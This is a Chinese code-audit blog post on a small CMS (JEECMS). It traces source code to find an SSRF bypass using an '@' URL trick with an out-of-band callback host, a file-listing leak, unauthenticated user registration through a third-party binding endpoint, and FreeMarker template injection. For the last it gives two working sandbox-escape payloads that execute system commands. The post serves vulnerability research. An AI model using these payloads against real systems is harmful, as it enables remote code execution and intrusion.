某小眾非知名cms代碼審計(jì)

簡要分析:


從官網(wǎng)的論壇上沒有找到開發(fā)文檔,從jeecms-parent/jeecms-common/pom.xml中可以發(fā)現(xiàn)應(yīng)用系統(tǒng)使用了QueryDsl。QueryDsl是一個用于構(gòu)建類型安全的SQL查詢的框架,它可以根據(jù)你定義的JPA Entity實(shí)體類逆向生成查詢類,通過操作查詢類完成SQL的操作。從代碼中可以發(fā)現(xiàn)使用了JPAQueryFactory來構(gòu)建和執(zhí)行查詢。JPAQueryFactory會自動處理參數(shù)的轉(zhuǎn)義和注入,確保查詢的安全性,也就是不存在SQL注入的問題。

0x01 服務(wù)端請求偽造(SSRF):


源文件位置:src/main/java/com/jeecms/common/base/controller/CommonController.java

@RequestMapping(value = "/loadingImage")
public void loadingImage(HttpServletRequest request, HttpServletResponse response) {
    response.setContentType("image/jpeg");
    String imageUrl = request.getParameter("imageUrl");
    if(imageUrl.startsWith(LIMIT_RES_WX_HTTP) || imageUrl.startsWith(LIMIT_RES_WX_HTTPS)){
        ServletOutputStream out;
        try {
            out = response.getOutputStream();
            out.write(HttpUtil.readURLImage(imageUrl));
            out.close();
        } catch (IOException e) {
            logger.error(e.getMessage());
        }
    }else{
        ServletOutputStream out;
        try {
            out = response.getOutputStream();
            response.setStatus(Response.SC_NOT_FOUND);
            out.close();
        } catch (IOException e) {
            logger.error(e.getMessage());
        }
    }
}

imageUrl用戶可控,靜態(tài)變量LIMIT_RES_WX_HTTP和LIMIT_RES_WX_HTTPS指向域名mmbiz.qpic.cn

這里可以通過@符號進(jìn)行繞過,然后會調(diào)用HttpUtil.readURLImage(imageUrl),最后將imageUrl參數(shù)傳給readURLImage()方法發(fā)送GET請求:

在readURLImage方法還會調(diào)用readInputStream()方法獲取響應(yīng)信息,也就是說這是個有回顯的SSRF漏洞

漏洞復(fù)現(xiàn):

Payload:http://192.168.0.101:8083/common/loadingImage?imageUrl=http://mmbiz.qpic.cn@cmd5t3kob7ng43s4erq0mdzkjfjsuhbvs.oast.pro/ceshi.jpg

證明截圖:

0x02 靜態(tài)資源信息泄露:


源文件位置:src/main/java/com/jeecms/admin/controller/resource/UeditorUploadAct.java

@RequestMapping(value = "/ueditor/imageManager")
public void imageManager(Integer picNum, Boolean insite, 
        HttpServletRequest request, HttpServletResponse response)
        throws Exception {
    super.imageManager(picNum, insite, request, response);
}

這里會調(diào)用父類的imageManager()方法,跟進(jìn)后發(fā)現(xiàn)會調(diào)用listFile()方法,傳遞request對象和請求參數(shù)start作為形參。

追蹤重點(diǎn)方法listFile(),首先從請求中獲取全局配置信息,然后根據(jù)配置中的上傳路徑(/u/cms/www)創(chuàng)建一個File對象,如果目錄存在且是一個目錄,方法將使用Apache Commons IO 庫的FileUtils.listFiles方法獲取目錄下的所有文件(包括子目錄),若start參數(shù)在有效范圍內(nèi),將從文件列表中提取從start開始的20個文件,最后將文件列表的起始索引和總大小添加到狀態(tài)對象中,并返回該對象。

也就是說,雖然一次只能獲取20個文件的信息,我們可以通過多次請求,傳參start+=20來獲取/u/cms/www目錄下的所有文件的路徑信息。

漏洞復(fù)現(xiàn):

Payload:http://192.168.0.101:8083/ueditor/imageManager?start=20

漏洞證明:

0x03 任意用戶注冊:


源文件位置:src/main/java/com/jeecms/front/controller/ThirdPartyLoginController.java

在第291行中,設(shè)置了一個URL路徑為/bind的映射,將請求體中的數(shù)據(jù)傳輸?shù)綄?shí)體類PcLoginDto對象中

//判斷登錄方式
if (PcLoginDto.TYPE_LOGIN.equals(dto.getLoginWay())) {
    Boolean validName = memberService.validName(dto.getUsername());
    if (!validName) {
        return new ResponseInfo(UserErrorCodeEnum.USERNAME_ALREADY_EXIST.getCode(),
                UserErrorCodeEnum.USERNAME_ALREADY_EXIST.getDefaultMessage(), false);
    }
    //如果是直接登錄,則默認(rèn)創(chuàng)建會員,密碼隨機(jī)
    user.setPassword(String.valueOf(new SnowFlake(SnowFlake.SHORT_STR_CODE).nextId()));
    // 密碼加密
    byte[] salt = Digests.generateSaltFix();
    user.setSalt(Digests.getSaltStr(salt));
    user.setThird(true);
    //新建會員用戶
    user = memberService.save(user);
    this.bind(dto, user.getId());

當(dāng)傳遞的loginWay=1時,檢查username是否已經(jīng)存在,若不存在則使用SnowFlake算法來生成一個短字符串作為密碼,生成隨機(jī)鹽值設(shè)置為用戶對象的鹽值屬性,然后調(diào)用memberService.save()方法獲取一個新的實(shí)體類對象,然后執(zhí)行bind()方法綁定第三方用戶:

public void bind(PcLoginDto dto, Integer memberId) throws GlobalException {
    //查詢第三方配置信息
    SysThird thirdInfo = thirdService.getCode(dto.getLoginType());
    SysUserThird third = new SysUserThird();
    third.setAppId(thirdInfo.getAppId());
    third.setThirdId(dto.getThirdId());
    third.setThirdUsername(dto.getNickname());
    third.setMemberId(memberId);
    third.setUsername(dto.getUsername());
    third.setThirdTypeCode(dto.getLoginType());
    sysUserThirdService.save(third);
}

綜上,請求體中我們需要傳遞的參數(shù)有username、loginWay、loginTypethirdId,username不能是已經(jīng)存在的用戶名,loginWay要求等于1,loginType為QQ、WECHAT、WEIBO其中之一。

漏洞復(fù)現(xiàn):

0x04 模板注入:


使用opensca-cli檢查第三方組件漏洞,發(fā)現(xiàn)系統(tǒng)存在間接依賴freemarker:2.3.28,該版本存在SSTI漏洞

首先查找文件上傳的接口,是否有用戶可控,且不限制上傳后綴或可被模板渲染解析的后綴。

源文件位置:src/main/java/com/jeecms/member/controller/UploadController.java

此處為注冊用戶可操作的一處上傳接口,重點(diǎn)理解服務(wù)端如何處理上傳的文件,追蹤upload()方法

方法定義:src/main/java/com/jeecms/resource/service/impl/UploadService.java:

在validate()方法中會對上傳的文件名進(jìn)行驗(yàn)證:不允許存在/和空字符:

若指定了上傳路徑uploadPath,則需滿足如下要求: 必須以/u/cms開頭,且不得存在字符 ..\../

根據(jù)文件內(nèi)容獲取前10個字節(jié)的16進(jìn)制數(shù)作為識別文件的標(biāo)識,若識別到則進(jìn)行白名單文件檢查,否則進(jìn)行黑名單檢查

在doUpload()方法中,首先會根據(jù)文件內(nèi)容判斷其是否為圖片,當(dāng)拓展名為空時設(shè)置為jpg后綴:

最終調(diào)用storeByExt()方法根據(jù)拓展名生成一個隨機(jī)文件名,并調(diào)用store()方法上傳文件

利用該接口我們可以上傳HTML文件至/u/cms/202X0X/目錄下,于是找可以模板解析的代碼:

源文件位置:src/main/java/com/jeecms/front/controller/FrontCommonController.java

@GetMapping(value = "/{page}.htm")
public String page(@PathVariable String page, HttpServletRequest request, HttpServletResponse response,
        ModelMap model) throws Exception {
    String loginUrl = WebConstants.LOGIN_URL;
    String ctx = request.getContextPath();
    if (StringUtils.isNoneBlank(ctx)) {
        loginUrl = ctx + loginUrl;
    }
    FrontUtils.frontData(request, model);
    FrontUtils.frontPageData(request, model);
    /** 將request中所有參數(shù)保存至model中 */
    Map<String, Object> params = RequestUtils.getQueryParams(request);
    if(params!=null){
        Set<String>keySet = params.keySet();
        String uri = request.getRequestURI();
        if (StringUtils.isNoneBlank(ctx)) {
            uri = uri.substring(ctx.length());
        }
        for(String key:keySet){
            if(params.get(key) instanceof String){
                String val = (String) params.get(key);
                if (StrUtils.isStartWithNumber(val) && !StrUtils.isNumeric(val) && !uri.startsWith(WebConstants.SEARCH_PREFIX)) {
                    return FrontUtils.pageNotFound(request, response, model);
                }
                params.put(key,XssUtil.cleanXSS(val));
            }
        }
    }
    model.putAll(params);
    String tpl = FrontUtils.getTplAbsolutePath(request, page, RequestUtils.COMMON_PATH_SEPARATE);
    String view = FrontUtils.getTplPath(request, tpl);
    String viewPath = realPathResolver.get(view);
    boolean tplExist = false;
    if (WebConstants.FREEMARKER_RES_TYPE.equals(freemarkResType)) {
        viewPath = templateLoaderPath + view;
        tplExist = new UrlResource(viewPath).exists();
    } else {
        viewPath = java.text.Normalizer.normalize(viewPath, java.text.Normalizer.Form.NFKD);
        File tplFile = new File(viewPath);
        tplExist = tplFile.exists();
    }
    if (tplExist) {
        return view;
    } else {
        return FrontUtils.pageNotFound(request, response, model);
    }
}

模板文件默認(rèn)存放位置:/r/cms/www/default

首先調(diào)用FrontUtils.frontData(request, model)FrontUtils.frontPageData(request, model)會將系統(tǒng)的一些配置信息如模板文件默認(rèn)存放位置/r/cms/www/default及部分訪問路徑信息保存在model中,通過利用org.springframework.ui.ModelMap,在model上添加對象,model是以map的形式存儲的,這里的key和模板里是對應(yīng)的,freemarker就是通過key來取得value的進(jìn)行渲染。

然后調(diào)用FrontUtils.getTplAbsolutePath()方法,當(dāng) path 中存在-時,會以/進(jìn)行替換。該方法用于獲取模板的絕對路徑。

由于在新版本freemarker中, 多了一個TemplateClassResolver.SAFER_RESOLVER配置。禁止加載ObjectConstructorExecutefreemarker.template.utility.JythonRuntime這三個類。同時為了防御通過其他方式調(diào)用惡意方法,F(xiàn)reeMarker內(nèi)置了一份危險方法名單:unsafeMethods.properties

Constructor.newInstance被禁使得我們不能直接實(shí)例化對象,Method.invoke被禁使得我們不能直接調(diào)用方法。這里要做的是尋找一個類的靜態(tài)成員對象(public static final),然后執(zhí)行它的靜態(tài)方法。

FreeMarker自帶的O bjectWrapper類就是一個不錯的選擇,它的DEFAULT_WRAPPER字段是一個實(shí)例化后的O bjectWrapper對象,而O bjectWrapper的newInstance方法(繼承自BeansWrapper)可以用于實(shí)例化一個類,我們只需要向它傳入被禁用的freemarker.template.utility.Execute進(jìn)行實(shí)例化,返回的對象就可以直接用于執(zhí)行系統(tǒng)命令。

在2.3.30以下,freemaker模版注入存在繞過沙箱的方法:

  • 繞過class.getClassloader反射加載Execute類:
<#assign classloader=<<object>>.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

通過使用java.security.protectionDomaingetClassLoader方法來獲得類加載器再一步一步反射調(diào)用Execute類,此payload需要在數(shù)據(jù)模型中找到一個作為對象的變量,比如從后臺模板管理處,編輯index.html,將上面payload中的<<object>>為site:

  • 如果Spring Beans可用,可以直接禁用沙箱:
<#assign ac=springMacroRequestContext.webApplicationContext>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("id")}

此payload需要freemarker+spring并設(shè)置setExposeSpringMacroHelpers(true)或者在application.propertices中配置spring.freemarker.expose-spring-macro-helpers=true

漏洞復(fù)現(xiàn):

利用條件:JEECMS-Auth-Token

參考如下:


freemarker模版注入 - Escape-w - 博客園
奇安信攻防社區(qū)-某內(nèi)容管理系統(tǒng)RCE漏洞分析

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。
禁止轉(zhuǎn)載,如需轉(zhuǎn)載請通過簡信或評論聯(lián)系作者。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容